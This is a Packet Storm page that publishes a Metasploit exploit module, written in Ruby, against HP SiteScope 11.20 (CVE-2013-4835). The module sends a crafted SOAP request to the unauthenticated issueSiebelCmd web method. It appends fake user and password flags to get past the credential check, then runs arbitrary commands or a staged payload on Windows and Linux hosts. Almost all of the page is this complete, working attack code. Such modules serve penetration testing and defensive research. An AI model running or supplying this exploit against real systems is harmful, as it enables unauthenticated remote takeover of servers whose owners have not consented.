what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

HP SiteScope issueSiebelCmd Remote Code Execution

HP SiteScope issueSiebelCmd Remote Code Execution
Posted Dec 23, 2013
Authored by rgod, juan vazquez | Site metasploit.com

This Metasploit module exploits a code execution flaw in HP SiteScope. The vulnerability exists in the APISiteScopeImpl web service, specifically in the issueSiebelCmd method, which allows the user to execute arbitrary commands without authentication. This Metasploit module has been tested successfully on HP SiteScope 11.20 over Windows 2003 SP2, Windows 2008 and CentOS 6.5.

tags | exploit, web, arbitrary, code execution
systems | linux, windows, centos
advisories | CVE-2013-4835, OSVDB-99230
SHA-256 | b961edaf771081e73dba11e81febc940689847d6bed6412bc6f0a4ad23ff2aae

HP SiteScope issueSiebelCmd Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rexml/document'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }

include REXML
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStagerVBS

def initialize(info = {})
super(update_info(info,
'Name' => 'HP SiteScope issueSiebelCmd Remote Code Execution',
'Description' => %q{
This module exploits a code execution flaw in HP SiteScope. The vulnerability exists in the
APISiteScopeImpl web service, specifically in the issueSiebelCmd method, which allows the
user to execute arbitrary commands without authentication. This module has been tested
successfully on HP SiteScope 11.20 over Windows 2003 SP2, Windows 2008 and CentOS 6.5.
},
'Author' =>
[
'rgod <rgod[at]autistici.org>', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-4835'],
[ 'OSVDB', '99230' ],
[ 'BID', '63478' ],
[ 'ZDI', '13-263' ]
],
'Privileged' => true,
'Platform' => %w{ win unix },
'Arch' => [ ARCH_X86, ARCH_CMD ],
'Payload' =>
{
'Space' => 2048,
'DisableNops' => true
},
'Targets' =>
[
[ 'HP SiteScope 11.20 / Windows',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
[ 'HP SiteScope 11.20 / Linux',
{
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'Payload' =>
{
'BadChars' => "\x20\x22\x27\x3c",
'Compat' => {
'RequiredCmd' => 'perl python bash-tcp gawk openssl'
}
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 30 2013'))

register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/'])
], self.class)
end

def check
value = rand_text_alpha(8 + rand(10))

res = send_soap_request(value)

if res and res.code == 500 and res.body.to_s =~ /Cmd Error: User and Password must be specified/
return Exploit::CheckCode::Appears
end

return Exploit::CheckCode::Safe
end

def exploit

if target.name =~ /Windows/
print_status("#{peer} - Delivering payload...")
# cmd.exe max length is 8192
execute_cmdstager({:linemax => 8000, :nodelete => true})
elsif target.name =~ /Linux/
print_status("#{peer} - Executing payload...")
execute_command(payload.encoded, {:http_timeout => 1})
end
end

def execute_command(cmd, opts={})
if target.name =~ /Windows/
cmd.gsub!(/data = Replace\(data, vbCrLf, ""\)/, "data = Replace(data, \" \" + vbCrLf, \"\")")
command = "cmd.exe /c "
command << cmd.gsub(/&/, "&#x26;") # HTML Encode '&' character to avoid soap request parsing errors
command << " &#x26; /u #{rand_text_alpha(4)} /p #{rand_text_alpha(4)}" # To bypass user and pass flags check before executing
elsif target.name =~ /Linux/
command = "sh -c "
command << cmd.gsub(/&/, "&#x26;") # HTML Encode '&' character to avoid soap request parsing errors
command << " /u #{rand_text_alpha(4)} /p #{rand_text_alpha(4)}" # To bypass user and pass flags check before executing
end

res = send_soap_request(command, opts[:http_timeout] || 20)

return if target.name =~ /Linux/ # There isn't response with some ARCH_CMD payloads

unless res and res.code == 500 and res.body =~ /SiteScope encountered an error associated with running a command/
fail_with(Failure::Unknown, "#{peer} - Unexpected response, aborting...")
end
end

def get_soap_request
xml = Document.new
xml.add_element(
"soapenv:Envelope",
{
'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance",
'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema",
'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/",
'xmlns:api' => "http://Api.freshtech.COM"
})
xml.root.add_element("soapenv:Header")
xml.root.add_element("soapenv:Body")
body = xml.root.elements[2]
body.add_element(
"api:issueSiebelCmd",
{
'soapenv:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/"
})
ser = body.elements[1]
ser.add_element("in0", {'xsi:type' => 'xsd:string'})
ser.elements['in0'].text = "MSF_COMMAND"

xml.to_s
end

def send_soap_request(command, timeout = 20)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'services', 'APISiteScopeImpl'),
'method' => 'POST',
'ctype' => 'text/xml; charset=UTF-8',
'data' => get_soap_request.gsub(/MSF_COMMAND/, command), # To avoid rexml html encoding
'headers' => {
'SOAPAction' => '""'
}
}, timeout)

return res
end

end
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close